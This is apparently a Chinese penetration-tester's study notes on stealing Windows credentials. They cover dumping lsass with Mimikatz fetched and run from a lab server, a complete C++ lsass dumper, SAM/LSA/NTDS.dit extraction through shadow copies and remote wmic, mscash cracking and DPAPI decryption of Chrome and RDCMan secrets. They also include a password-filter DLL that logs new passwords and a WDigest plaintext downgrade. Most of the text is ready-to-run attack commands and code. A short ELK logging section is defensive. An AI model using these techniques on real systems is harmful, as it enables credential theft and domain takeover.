当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
从Lsass.exe进程内存中转储凭证
Execution
Dumping Credentials Locally
Powershell 降级
bypass /不降级
不使用mimikatz的情况下转储lsass进程提取凭据
使用MiniDumpWriteDump转储lsass进程
Dumping Hashes from SAM
Dumping LSA Secrets
内存中转储
注册表转储
Dumping and Cracking mscash - Cached Domain Credentials
hashdump
Secretsdump
mimikatz
使用hashcat 破解mscash / mscache
Domain Credentials Cached 的位置
Dumping Domain Controller Hashes Locally and Remotely
No Credentials - ntdsutil
No Credentials - diskshadow
With Credentials
通过wmic和Vssadmin卷影副本转储域控制器哈希
日志
网络与交互式登录
交互式登录:初始登录
通过runas 使用本地账号进行交互式登录
通过runas 使用域账号进行交互式登录
通过带有 /netonly的runas 凭据登录
本地账号进行网络登录
使用域账号进行网络登录
使用域账号进行网络交互式登录
PsExec From An Elevated Prompt
PsExec + Alternate Credentials
结论
番外——配置ELK
配置Winlogbeat
Kibana中查看日志
Reading DPAPI Encrypted Secrets with Mimikatz and C++
总览:
读取Chrome Cookie和登录数据
保护和取消数据
在C++中使用DPAPIs 对数据进行加密/解密
从注册表中读取远程链接管理器的密码
解密其他用户的文件
使用域管提取DPAPI备份密钥
T1214: Credentials in Registry
T1174: Password Filter
构造DLL
安装Password Filter DLL
在Powershell中设置注册表
总结
Forcing WDigest to Store Credentials in Plaintext
Dumping Delegated Default Kerberos and NTLM Credentials w/o Touching LSASS
一些基础
相关设置
转储Kerberos
转储NTLM
手动开启分配票据
如何转储其他用户的凭证
本地枚举分配的凭据
通过AD枚举分配的凭据
通过自定义安全支持提供者(Security Support Provider)和认证包拦截登录凭证。
通过重新启动加载SSP
不重新启动加载SSP
检测
代码
通过 Hooking HTML输入字段来提取Web应用程序密码
在什么时候有用?
Hooking 密码字段
Hooking
读取保存的密码
渗透
检测
Hooking msv1_0!SpAcceptCredentials 拦截登录凭证。
通过CredUIPromptForCredentials收集凭据
窃取用户凭据
检测凭据
原文链接(伍默大佬):伍默
本来按计划应该学习横向移动,但是发现一个问题,如何横向?这就是我记录这一章的目的,提升权限之后获取凭证,利用已获取的凭证扩大战果才是正确的姿势,学习的主要资料是参考链接中的分享,建议阅读参考的原文,再次说明,我的只是笔记,记录我的学习过程中的所思所想。
参考:
Credential Access & Dumping
powershell "IEX(New-Object System.Net.Webclient).DownloadString('http://10.10.10.128/Powershell/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
#当前权限需管理员
PS:原文中提到如果目标运行了一个Powershell示例,则无法启动脚本,笔者未遇到,均正常运行
privilege::debug
sekurlsa::logonPasswords
最简单的操作,不用多说。
powershell -version 2 "IEX(New-Object System.Net.Webclient).DownloadString('http://10.10.10.128/Powershell/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
#指定powershell版本
可理解C#中加载mimikatz
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:C:\Temp\posh.exe C:\Temp\posh.cs /reference:System.Management.Automation.dll
#编译后执行即可
posh.cs 请查看原网站进行获取。
参考:
渗透技巧——使用Mimilib从dump文件中导出口令
Mimilib利用分析
转储lsass.exe 进程的方法如下:
使用ProcDump Dump lsass 进程
在powershell中使用
Out-Minidump
Dump lsass 进程直接使用任务管理器转储文件
comsvcs.dll转储文件
任务管理器转储文件只需要当前用户是管理员组内账户即可,但是不要认为转储文件只要需要标准用户的权限(完整性
Medium
),开启UAC时,管理员账户使用任务管理器转储文件,任务管理器的完整性为High
,所以才能操作System
完整性的lsass.exx
进程。Get-Process lsass .\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 824 C:\Users\jerry\AppData\Local\Temp\lsass.dmp full #写入dump文件的目录注意权限,一般选择Temp等有权限写入的目录
进程转储文件到本地
mimikatz
读取即可:
#include "stdafx.sh"
#include
#include
#include
#include
using namespace std;
int main() {
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
}
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (isDumped) {
cout << "[+] lsass dumped successfully!" << endl;
}
return 0;
}
VS 2019 中新建项目,模板选择 C++ 控制台应用:
会遇到两个错误:
无法打开源文件”stdafx.h”,解决方法:删除这一行就好
无法解析楼上符号等错误:解决方法:项目属性——链接器——输入——附加依赖项——”dbghelp.lib“
目标机器上管理员权限执行,自动dump lsass 进程的转储文件。
lsass.dmp
下载到本地使用 mimikatz 解密就好。sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords
参考:渗透技巧——通过SAM数据库获得本地用户hash
reg save hklm\system system reg save hklm\sam sam #从注册表中导出system和sam文件
这里使用kali 中的
samdump2
来读取system 和 sam:mimikatz 也可以导入 sam 和 system:
另外介绍几种从读取sam的方式:
参考:module ~ lsadump
注意前提,需要
system
权限(或者system
token),直接使用lsadump::sam
即可。.\PsExec64.exe -accepteula -s -i -d cmd.exe #这里我使用psexec4来获取一个system权限的cmd
或者使用
token::elevate
假冒令牌提升至system
权限(当前前提是当前用户是管理组成员,管理员用户):token::elevate lsadump::sam
直接从文件系统中复制sam和system文件,这两个文件的路径如下:
C:\Windows\System32\config\SYSTEM C:\Windows\System32\config\SAM
默认无法被复制,可使用卷影复制:
vssadmin create shadow /for=C: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\S
后续再补充... ...
LSA Secrets 存储在注册表中:
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets
内存中转储
参考:
通过Dpapi获取Windows身份凭证
写给蓝军的滥用 DPAPI 操作指南(下)
Windows LSA secrets
token::elevate lsadump::secrets
$MACHINE.ACC 是计算机对象,密码是120字符,240字节,如果密码包含不可见字符,会以十六进制显示
参考:Windows域中特殊的用户-计算机对象攻防
这个命令有什么用?请看下文DPAIP小节
注册表转储
reg save HKLM\SYSTEM system ; reg save HKLM\security security #这里笔者使用的是powershell reg save HKLM\SYSTEM system & reg save HKLM\security security #如果使用cmd,请用&连接符
system
文件和security
移动到本地使用mimikatz进行读取:lsadump::secrets /system:system /security:security
转储和破解 mscash ——缓存的域票据
参考:
Belated Codegate 2014 Quals Writeups and Lessons Learned
MSCash Hash Primer for Pentesters
你并不懂 Mimikatz Part 1 - Wdigest SSP
你并不懂 Mimikatz Part 2 - MSCACHE
mscash
,或者叫 domain cached credentials、域缓存票据,与用户在成功登录后将缓存的域凭据存储在系统本地,缓存的凭据不会过期,以防止DC无法通信,任然能够登录机器,另外mscash hash 无法用于PTH。
具体存储在系统哪里,保存在注册表中,结构未域凭据+域授权信息,后面就直接用 “凭据” 来代表 “凭据信息” + “授权信息”。
在Meterpreter中常常使用
hashdump
来dump sam 中的 hash:migrate -N spoolsv.exe hashdump
如果要转存缓存的域凭据,请使用
post
模块中的cachedump
:getuid getsystem #确保当前进程是system权限 use post/windows/gather/cachedump
impacket 中提供了
secrestdump
的脚本,该脚本可允许转储存储在注册表中的sam、SECURITY、SYSTEM中的所有凭据。reg.exe save hklm\sam sam reg.exe save hklm\security security reg.exe save hklm\system system # 有时候需要规避这些关键词
文件移动到本地使用
secretsdump
读取:secretsdump.py -sam sam-security security -system system. LOCAL
lsadump::cache #获取 SysKey 用于解密 NLKM 和 MSCache(v2)(来自注册表或 hive 文件)
cachedump
模块默认输出的格式是John的格式:sudo john --format=mscash2 ./mscash.txt --wordlist=./wordlist.txt
使用hashcat 破解mscache ,应该用以下格式:
$DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f
cut -d ":" -f 2 mscash.txt
hashcat -m2100 '$DCC2$10240#administrator#aa9245e15ddcbdff2f461c53a624cbfa
Domain Credentials Cached缓存在
HKEY_LOCAL_MACHINE\SECURITY\Cache
(需要system权限):
NL $1...10
是记录的10个域用户缓存票据,如果清空所有值,且无法和DC通信,则域用户无法登录。
没有凭据,但是可以访问DC,通过域管权限使用ntdsutil
导出ntds.dit
、sam
、system
。
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
导出temp
目录下的两个目录:Active Directory
和registry
:
使用impacket 中的secretsdump
解密:
secretsdump.py -system system -security security -ntds ntds.dit LOCAL
参考:DiskShadow: The Return of VSS Evasion, Persistence, and Active Directory Database Extraction
Windows server 2008 及其以上,使用diskshadow 获取 ntdis.dit
没有凭据,但可以使用DC的域管权限,通过以下操作获得ntds.dit。
创建一个脚本shadow.txt
,脚本内容如下:
set context persistent nowriters
set metadata c:\exfil\metadata.cab
add volume c: alias trophy
create
expose %someAlias% z:
执行以下命令:
mkdir c:\exfil
diskshadow.exe /s C:\Users\Administrator\shadow.txt
cmd.exe /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
最后记得在交互式的diskshadow
中清楚创建的卷影:
diskshadow.exe
> delete shadows volume trophy
> reset
使用impacket 项目中的secretsdump
脚本,通过RPC dump ntds.dit 文件:
secretsdump.py -debug -just-dc-ntlm 0day/administrator:'Admin!@#45'@192.168.3.142
参考:REMOTELY EXTRACT NTDS.DIT & SYSTEM hive
简单来说就是通过wmic远程链接域控执行Vssadmin 卷影复制到本地
wmic能正常工作的前提:135端口开启,目标机器wmi服务正常运行
wmic /node:OWA2010SP3 /user:administrator@0day /password:Admin!@#45 process c
wmic /node:OWA2010SP3 /user:administrator@0day /password:Admin!@#45 process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit c:\Temp\ & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM c:\Temp\ & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY c:\Temp\"
#注意,如果temp目录不存在,则命令执行失败,可使用以下命令新建目录
wmic /node:OWA2010SP3 /user:administrator@0day /password:Admin!@#45 proce
net use j: \\OWA2010SP3\c$\Temp /user:administrator Admin!@#45; dir j:\:\
得到了这三个文件使用之前的secretsdump
脚本解密即可。
这里使用Sysmon来查看相关WMI的日志,配置文件使用@ Cyb3rWard0g的StartLogging.xml。
.\Sysmon64.exe -accepteula -i .\StartLogging.xml
笔者使用的环境为Windows Server 2008 R2 ,安装时遇到错误,安装补丁KB3033929解决。
日志通过事件查看器查看,路径为:应用程序和服务日志——Microsoft——Windows——Sysmon文件夹中:
不知道什么原因,我这里字符显示有点奇怪
请理解这一小节,理解在Windows各种登录下何时丢弃凭据,换句话说,怎样登录才会保存凭据在内存中。
注意:我用的是凭据,并不是密码,这是由区别的,凭据可理解未NTLM、Kerberos票据等。
参考:
Audit logon events
Windows日志分析及事件ID大全
如果你注意过日志中对登录类型的描述,会发现微软实际上定义了很多种登录类型。
登录类型 2 :Interactive(交互式登录)
登录类型 3 :Network网络登录
登录类型 4 :Batch批处理(例如计划任务)
登录类型 5 :Service服务(servicer)登录
登录类型 6 :Network Cleartext (网络明文)
登录类型 7 :Unlock(解锁)
登录类型 8 :NetworkCleartext(网络明文)
登录类型 9 :NewCredentials(新凭证)
登录类型 10 :Remotelnteractive(远程交互式)
登录类型 11:Cachedlnteractive(缓存交互式)
登录类型 12 :CachedRemotelnteractive( 与Remotelnteractive相同,用于审计目的)
登录类型 13:CachedUnlock(尝试登录解锁)
本文讨论的是黑体部分的登录类型是否保存凭据到内存中(简单理解为内存),能否抓到对应的凭据。
注:当前用户管理组成员(包括administrators或者Domain admins组内成员)。
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
准备一个高权限的mimikatz作为后续测试转储凭据的主要工具。
runas /user:jerry cmd
credman
部分不用在意,这部分命令是使用凭据管理手动添加的,可以注意到,凭据被mimikatz转储。
runas /user:jerry@0day cmd
runas /user:0day\jerry cmd #或者这种格式
mimikatz # sekurlsa::logonpassword
mimikatz转储了凭据。
/netonly
的runas 凭据登录runas /netonly /user:mary cmd
#注,这里的用户并不是有效的用户,任意的用户即可
#尽管以用户的身份登录,但是日志中登录类型为9,表示源自新进程的任何网络连接都使用下凭据
mimikatz转储了凭据。。
pth-winexe //192.168.3.71 -U jerry%'Admin!@#45' cmd
#为避免冲突,请设置新账号已测试
mimikatz转储凭据中没有该账号。
pth-winexe //192.168.3.71 -U 0day/administrator:'Admin!@#45' cmd #同网段的另一台机器
net use * \\192.168.3.71\test /user:administrator\0day Admin!@#45
wmic /node:192.168.3.71 /user:0day/administrator process call create calc
sekurlsa::logonpasswords
mimikatz转储凭据中没有该账号的凭据
简单来说就是 RDP
为了演示,使用域管账号RDP至当前主机,可以看到,当前已转储域管的凭据。
PsExec.exe -accepteula \\PC-jerry-0day cmd
#其他机器上psexec至当前主机,使用的是当前用户的默认票据,
#登录类型为3 网络登录
mimikatz 转储的凭据中没有该凭据。
PsExec.exe -accepteula \\PC-jerry-0day -u 0day\sqladmin -p admin!@#45 cmd
#其他主机psexec 至当前主机 指定用户凭据
#当前主机上查看凭据
#登录类型为3和登录类型2 ,两个登录类型。
mimikatz转储了凭据。
网络登录不缓存在内存中,除非使用Psexec时是由 -U 指定凭据。
交互时登录和远程交互式登录都将缓存票据在内存中,使用mimikat可以很容易的进行转储。
参考:浅谈Windows操作系统的安全日志审计
因为测试过程中有一些日志展示,这里记录下安装的日志监控平台的笔记,,以下是笔者的docker-compose.yml
文件:
version: '2.0'
services:
elasticsearch:
image: docker.elastic.co/elasticsearch/elasticsearch:7.8.0
container_name: elasticsearch
environment:
- discovery.type=single-node
- cluster.name=es-docker-cluster
- bootstrap.memory_lock=true
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
ports:
- 9200:9200
- 9300:9300
kibana:
image: docker.elastic.co/kibana/kibana:7.8.0
container_name: kibana
ports:
- 5601:5601
links:
- elasticsearch
volumes:
- ./kibana.yml:/usr/share/kibana/config/kibana.yml
其中kibana.yml
的文件内容如下:
server.name: kibana
server.host: "0.0.0.0"
elasticsearch.hosts: [ "http://elasticsearch:9200" ]
monitoring.ui.container.elasticsearch.enabled: true
i18n.locale: "zh-CN"
docker-compose up -d
#确保容器均以成功启动
另外,笔者曾因为防火墙这个问题卡了很久,请关闭防火墙,使用的系统CentOS 8 ,其他系统有可能不一样。
甚至排查曾经某容器的build 失败,也是该原因,暂不明确原因,但是关闭防火墙之后,问题消失。
systemctl status firewalld.service
systemctl stop firewalld.service
systemctl disable firewalld.service
iptables -t nat -F
systemctl restart docker
elasticsearch和kibana 启动需要一些时间,可查看日志,确保已成功启动:
docker-compose logs
docker logs kibana
docker logs elasticsearch
#elasticsearch
确保访问elasticsearch
能够获得一串json数据:
首先确保“本地安全策略”中设置了对登录“成功”和“失败”、对账户管理“成功”和“失败”事件进行审核,这样对应的事件才会被记录在“安全”事件日志中,成为我们审计事件的来源。
下载Winlogbeat到C:\Program Files
,解压重命名为Winlogbeat
,在Powershell使用脚本安装Winlogbeat
服务。
#请使用管理员权限打开
cd 'C:\Program Files\Winlogbeat'
.\install-service-winlogbeat.ps1
#可能因为powershell脚本执行策略原因安装失败
PowerShell.exe -ExecutionPolicy UnRestricted -File .\install-service-winlogbeat.ps1
修改Winlogbeat
目录下的winlogbeat.yml
文件,笔者的配置如下:
参考: Configure Winlogbeat
winlogbeat.event_logs:
- name: Application
- name: Security
- name: System
- name: Windows PowerShell
- name: Microsoft-Windows-PowerShell/Operational
- name: Microsoft-Windows-Sysmon/Operational
output.elasticsearch:
hosts:
- 10.10.10.129:9200
setup.template.name: "winlogbeat"
setup.template.pattern: "winlogbeat-*"
setup.template.overwrite: false
10.10.10.129
是elasticsearch
所在主机地址,使用winlogbeat.exe test config
检测配置是否有错:
.\winlogbeat.exe test config -c .\winlogbeat.yml -e
Start-Service winlogbeat #启动服务
参考:Get started with Winlogbeat
在Discover面板中选择“winlogbeat*”的索引,可查看相关日志。
在SIEM中也可以相关的安全日志:
相关高级应用有机会再使用记录。
参考:
Operational Guidance for Offensive User DPAPI Abuse
【知识回顾】DPAPI 详解
写给蓝军的滥用DPAPI操作指南(上)
写给蓝军的滥用 DPAPI 操作指南(下)
Mimikatz之DPAPI学习与实践
Windows Password Recovery - DPAPI Master Key analysis
DPAPI(Data Protection Application Programming Interface
,微软数据保护接口)
这里实验用了两个函数CryptProtectData
和CryptUnprotectData
DPAPI简单而强大,系统应用和第三方应用都使用该接口加密用户数据,如:Chrome、VPN、RDP、Outook、Wifi等登录凭据
下面是一些重要的细节:
参考:通过Dpapi获取Windows身份凭证
DPAPI使用Master Key
来进行加解密(对称加密),64字节
Master Key File
是存放Master Key
的文件,分为两种:
注:目录下有多个Master key File ,每隔90天系统生成新的Master key (旧的不会删除),目录下的Preferred记录了最后一个Master key file 的名称和创建时间
——来自三好学生
换句话说,如何确定当前使用Master Key File,需要查看Preferred文件,三好学生提供了一个解析该文件的的C程序,笔者未编译成功,另外一个三好学生的一个思路是修改该文件的中的日期,替换Preferred,使旧的Master Key File被复用。
但其实笔者觉得只需要查看修改日期即可,Preferred和Master Key File 的修改时间相同的文件即未使用的Master Key File:
可能是个例,欢迎指教。
用户Master Key file,位于%APPDATA%\Microsoft\Protect\%SID%
(隐藏属性)
系统Master Key file,位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User
(隐藏属性)
Master Key File 使用用户的密码加密。
完整描述:加解密 DPAPI blob 时使用Master Key,使用用户的密码加密用户的 Master Key File,以保护Master key。
dpapi::masterkey /in:"C:\Users\jerry\AppData\Roaming\Microsoft\Protect\S-1-5-21-1682194975-1712503958-586237246-1001\8e2ec505-1722-405f-ac68-ff0c19231564" /password:admin
#可使用dpapi::masterkey 指定Master Key file ,并且输入/password 或 /hash 来解密获得Master key
#注:这里的hash值得时ntlm 或者sha1 之类的都可以,测试ntlm 已经无法解密,sha1 成功解密
#下面是解密系统Master Key file的命令
dpapi::masterkey /in:"C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\02efa129-bc22-45e1-bfe3-65f510ed0f99" /system:3cce545e121aaa392fa6fc3b05ea0460f8157d04
#解密的key来自于下面 lsadump::secrets
#没有演示解密用户 Masterr Key file ,下面几种方法都可以获取用户的
这里也说明下Master Key
的方法,有了它才能进行解密:
参考:渗透技巧——获取Windows系统下DPAPI中的MasterKey
在线获取
#第一种办法
privilege::debug
sekurlsa::dpapi
#直接获取Master Key
#第二种办法
token::elevate #当前权限为管理员(High)
lsadump::secrets #获取用于解密 SECRETS 项(从注册表或hive数据中获取)数据的 Syskey。
#注意:这里获取的只是解密的key,或者另一种说法,预密钥
#获取的key解密对应Master Key file获得 Master Key,算是一种间接的方法
#关于secrets将在后面讲到
图中获取的是DPAPI—SYSTEM 的Master key
#dump lsass 进程内存
procdump.exe -accepteula -ma lsass.exe lsass.dmp
sekurlsa::minidump lsass.dmp
sekurlsa::dpapi
#注册表导出
reg save HKLM\SYSTEM System.hiv
reg save HKLM\SECURITY SECURITY.hiv
mimikatz log "lsadump::secrets /system:System.hiv /security:SECURITY.hiv"
#需要的信息 Master Key File 、SID 、Password
dpapi::masterkey /in:"C:\Users\jerry\AppData\Roaming\Microsoft\Pr
Master Key 加密的结果我们称为DPAPI数据体(也就是 blob),现在思路就明确了,寻找系统中应用程序加密的 dpapi blob 部分。
参考:渗透技巧——离线导出Chrome浏览器中保存的密码
读取Cookie:
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Cookies"
读取登录凭据:
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect
最新版v83测试失败
Update:
经测试v83 上路径为:
"%localappdata%\Google\Chrome\User Data\Profile 1\Cookies"
"%localappdata%\Google\Chrome\User Data\Profile 1\Login Data"
这两个文件本质上是一个SQLite 数据库:
包含笔者个人信息,所以重度打码。
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Profile 1\Cookies" dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Profile 1\Login Data"
#目标机器上使用 /unprotect
#离线使用指定 /masterkey
任然未解密成功,不过可以看到部分信息,已看到有相关issues
另外发现有其他可以工具解密Chrome Login Data 。
使用dpapi::protect
加密只有当前登录的用户才能访问的数据:
简单来说调用DPAPI接口加密
dpapi::protect /data:"spotless"
#如果不指定字符,默认是"mimikatz"字符
将blob复制粘贴到Hxd的一个新文件中,保存为spotless.bin
,在用户的上下文下运行解密它:
dpapi::blob /in:"C:\Users\****\Downloads\spotless.bin" /unprotect
#可离线指定masterkey ,需要明确加密使用的Master key 和解密使用的Master key 是相同,否则解密失败
#如何找到对应的key,根据GUID的值
以看到成功解密出来加密的字符。
#include "stdafx.sh"
#include
#include
#pragma comment(lib,"crypt32.lib")
int main()
{
DATA_BLOB plainBlob = { 0 };
DATA_BLOB encryptedBlob = { 0 };
BYTE dataBytes[] = "spotless";
HANDLE outFile = CreateFile(L"C:\\Users\\***\\Downloads\\spotless_1.bin", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
plainBlob.pbData = dataBytes;
plainBlob.cbData = sizeof(dataBytes);
CryptProtectData(&plainBlob, NULL, NULL, NULL, NULL, CRYPTPROTECT_LOCAL_MACHINE, &encryptedBlob);
WriteFile(outFile, encryptedBlob.pbData, encryptedBlob.cbData, NULL, NULL);
return 0;
}
原版代码编译不通过,找不到解决方法,这里用了@冷逸 代码中的解决办法
现在尝试使用mimikatz来解密产生的二进制文件:
dpapi::blob /in:"C:\Users\***\Downloads\spotless_1.bin" /unprotect
可以注意到输出的是 Hex:
末尾这个点(00)我是没明白怎么来的
对比下前面使用mimikatz创建的spotless.bin
和后面的spotless_1.bin
:
前面一部分是相同的
尝试解密使用mimikatz 创建的加密的二进制文件:
#include "stdafx.sh"
#include
#include
#pragma comment(lib,"crypt32.lib")
int main()
{
DATA_BLOB plainBlob = { 0 };
DATA_BLOB encryptedBlob = { 0 };
BYTE dataBytes[] = "spotless";
BYTE inBytes[300] = { 0 };
BYTE outBytes[300] = { 0 };
HANDLE outFile = CreateFile(L"c:\\users\\***\\Downloads\\encrypted.bin", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE inFile = CreateFile(L"c:\\users\\****\\Downloads\\spotless.bin", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD fileSize = 0;
//encrypt
plainBlob.pbData = dataBytes;
plainBlob.cbData = sizeof(dataBytes);
CryptProtectData(&plainBlob, NULL, NULL, NULL, NULL, CRYPTPROTECT_LOCAL_MACHINE, &encryptedBlob);
WriteFile(outFile, encryptedBlob.pbData, encryptedBlob.cbData, NULL, NULL);
//decrypt
fileSize = GetFileSize(inFile, NULL);
ReadFile(inFile, encryptedBlob.pbData, fileSize, NULL, NULL);
encryptedBlob.cbData = fileSize;
CryptUnprotectData(&encryptedBlob, NULL, NULL, NULL, NULL, 0, &plainBlob);
return 0;
}
原文是想表达从内存中查看解密的字符串,但是这里笔者未成功查看到。
Remote Desktop Connection Manage(简称RDCMan)是微软提供的一个远程桌面管理工具,RDCMan可以集中管理常用的远程桌面,最新版是2.7只能支持到 2012 R2,官方已经不再提供下载和维护。
New OWA2010SP3.rdg
Add Server:配置 Server Settings
和Login Credentials
,记得Save
测试链接之后,退出之前会提示是否保存,请选择是
使用Hxd打开该文件,找到其中Password部分,很明显这是一个Base64编码:
尝试解码Base64:
echo AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABcUujiIXX0CsaP8MGSMVZAAAAAACAAAAAAAQZgAAA
注意,hex的前62个字节和之前使用DPAPI加密的spotless.bin
文件相同:
原文任然使用上面编写的CryptUnprotectData
在用户上下文上执行,使用VS查看内存中的中字符,笔者前面的程序未能成功查看的字符,这里未成功复现。
这里使用Mimikatz解密该文件,分两种情况:
在用户上下文解密
dpapi::blob /in:"C:\Users\jerry\Downloads\spotless.bin" /unprotect
不在用户上下文环境,指定MasterKey解密:
注意guidMasterKey
的值,guid
标识不同的Master key ,使用对应的Master Key ,这里我使用sekurlsa::dpapi
检索Master key
。
需要管理员权限
指定masterkey解密:
实际上我这种解密方式比较低效,mimikatz已经自动化解密 rdg 文件:
这里暂时失败,暂且不知道失败的原因。这里仅是一个解密blo文件的的示例,理解上述步骤,可以解密其他使用dpapi 加密文件。
如果系统上还有其他用户,由于没有对应用户的DPAPI Master key ,无法读取这些 加密数据,,如果获取了本地管理用户,则可以尝试检索出对应的Master Key ,进行解密。
dpapi::chrome /in:"c:\users\spotless.offense\appdata\local\Google\Chrome\User Data\Default\Login Data" /unprotect # 调用 CryptUnprotectData API
#解密错误
sekurlsa::dpapi #内存中查找用户对应的Master Key
dpapi::chrome /in:"c:\users\spotless.offense\appdata\local\Google\Chrome\User Data\Default\Login Data" /unprotect /masterkey:b5e313e344527c0ec4e016f419fe7457f2deaad500f68baf48b19eb0b8bc265a0669d6db2bddec7a557ee1d92bcb2f43fbf05c7aa87c7902453d5293d99ad5d6
#解密即可
参考:
Retrieving DPAPI Backup Keys from Active Directory
Mimikatz之DPAPI学习与实践
域用户的Master Key File 是由域的DPAPI Key (或者说域备份密钥)保护的,该key值不会改变。
lsadump::backupkeys /system:OWA2010SP3 /export
#system参数使用 完整的FQDN、地址都可以
#当前账号须是域管
#解密域用户的Master key file
dpapi::masterkey /in:"C:\Users\jerry.0DAY\AppData\Roaming\Microsoft\Protect\S
得到域用户的Master Key ,使用该 Key 解密域用户的相关文件即可。
没啥好说的,第三方应用密码存储在注册表中,检索注册表,发现相关敏感信息。
reg query HKLM /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s
参考:
Password Filters
Password Filter DLL在渗透测试中的应用
配置Additional LSA Protection监控Password Filter DLL
这一片和盖章关系不大
Credential Access – Password Filter DLL
在域环境或者工作组环境中可在组策略可开启密码策略中的复杂度要求以提高安全性:
如对复杂度还有要求,可使用 Password Filter DLL进一步提高密码的复杂度。
#include "stdafx.sh"
#include
#include
#include
#include
#include
#include
#include
using namespace std;
void writeToLog(const char* szString)
{
FILE *pFile;
fopen_s(&pFile, "c:\\logFile.txt", "a+");
if (NULL == pFile)
{
return;
}
fprintf(pFile, "%s\r\n", szString);
fclose(pFile);
return;
}
extern "C" __declspec(dllexport) BOOLEAN __stdcall InitializeChangeNotify(void)
{
OutputDebugString(L"InitializeChangeNotify");
writeToLog("InitializeChangeNotify()");
return TRUE;
}
extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordFilter(
PUNICODE_STRING AccountName,
PUNICODE_STRING FullName,
PUNICODE_STRING Password,
BOOLEAN SetOperation)
{
OutputDebugString(L"PasswordFilter");
return TRUE;
}
extern "C" __declspec(dllexport) NTSTATUS __stdcall PasswordChangeNotify(
PUNICODE_STRING UserName,
ULONG RelativeId,
PUNICODE_STRING NewPassword)
{
FILE *pFile;
fopen_s(&pFile, "c:\\logFile.txt", "a+");
OutputDebugString(L"PasswordChangeNotify");
if (NULL == pFile)
{
return true;
}
fprintf(pFile, "%ws:%ws\r\n", UserName->Buffer, NewPassword->Buffer);
fclose(pFile);
return 0;
}
VS 中编译动态链接库项目:
注意:预编译头中添加"stdafx.h
,位数选择和目标对应的版本
注册表hklm\system\currentcontrolset\control\lsa
下Notification Packages
配置Password Filter DLL的名称。
Password Filter DLL保存在%windir%\system32\下
组策略开启组策略密码必须符合复杂性要求
重启系统
reg query "hklm\system\currentcontrolset\control\lsa" /v "notification packages"
reg add "hklm\system\currentcontrolset\control\lsa" /v "notification packages" /d scecli\0Password-Filter-DLL /t reg_multi_sz
#为什么有\0?为了换行
Powershell中也能完整上述类似效果。
$passwordFilterName = (Copy-Item "Password-Filter-DLL" -Destination "C:\Windows\System32" -PassThru).basename
$lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
$notificationPackagesValues = $lsaKey.GetValue("Notification Packages")
$notificationPackagesValues += $passwordFilterName
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Notification Packages" $notificationPackagesValues
Restart-Computer -Confirm
#需管理权限
这种密码收集方法动静很大,需要目标重启,且要求当前管理权限,开启密码复杂度。
在三好学生blog中提到,修改组策略配置,开启组策略的密码复杂度,也是一种方法。
参考:
深入分析Mimikatz:WDigest
如何防御Mimikatz
Wdigest简单说为了http认证而把用户的密码存在lsass进程中的一种协议:
在Windows Server 2008 R2之前,系统默认情况下会缓存WDigest凭据,此后系统不再缓存明文凭据。
老版本的系统打了补丁KB2871997,可修改注册表禁用WDigest协议
设置Negotiate
和UseLogonCredential
为0,另外Windos server 2016 和Windows 10中没有UseLogonCredential
可通过修改注册表重新启用该WDigest协议:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
#管理员权限
logoff #注销或者重启生效
reg delete HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential #删除值禁用WDigest协议
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest #查询
未开启之前是这样的:
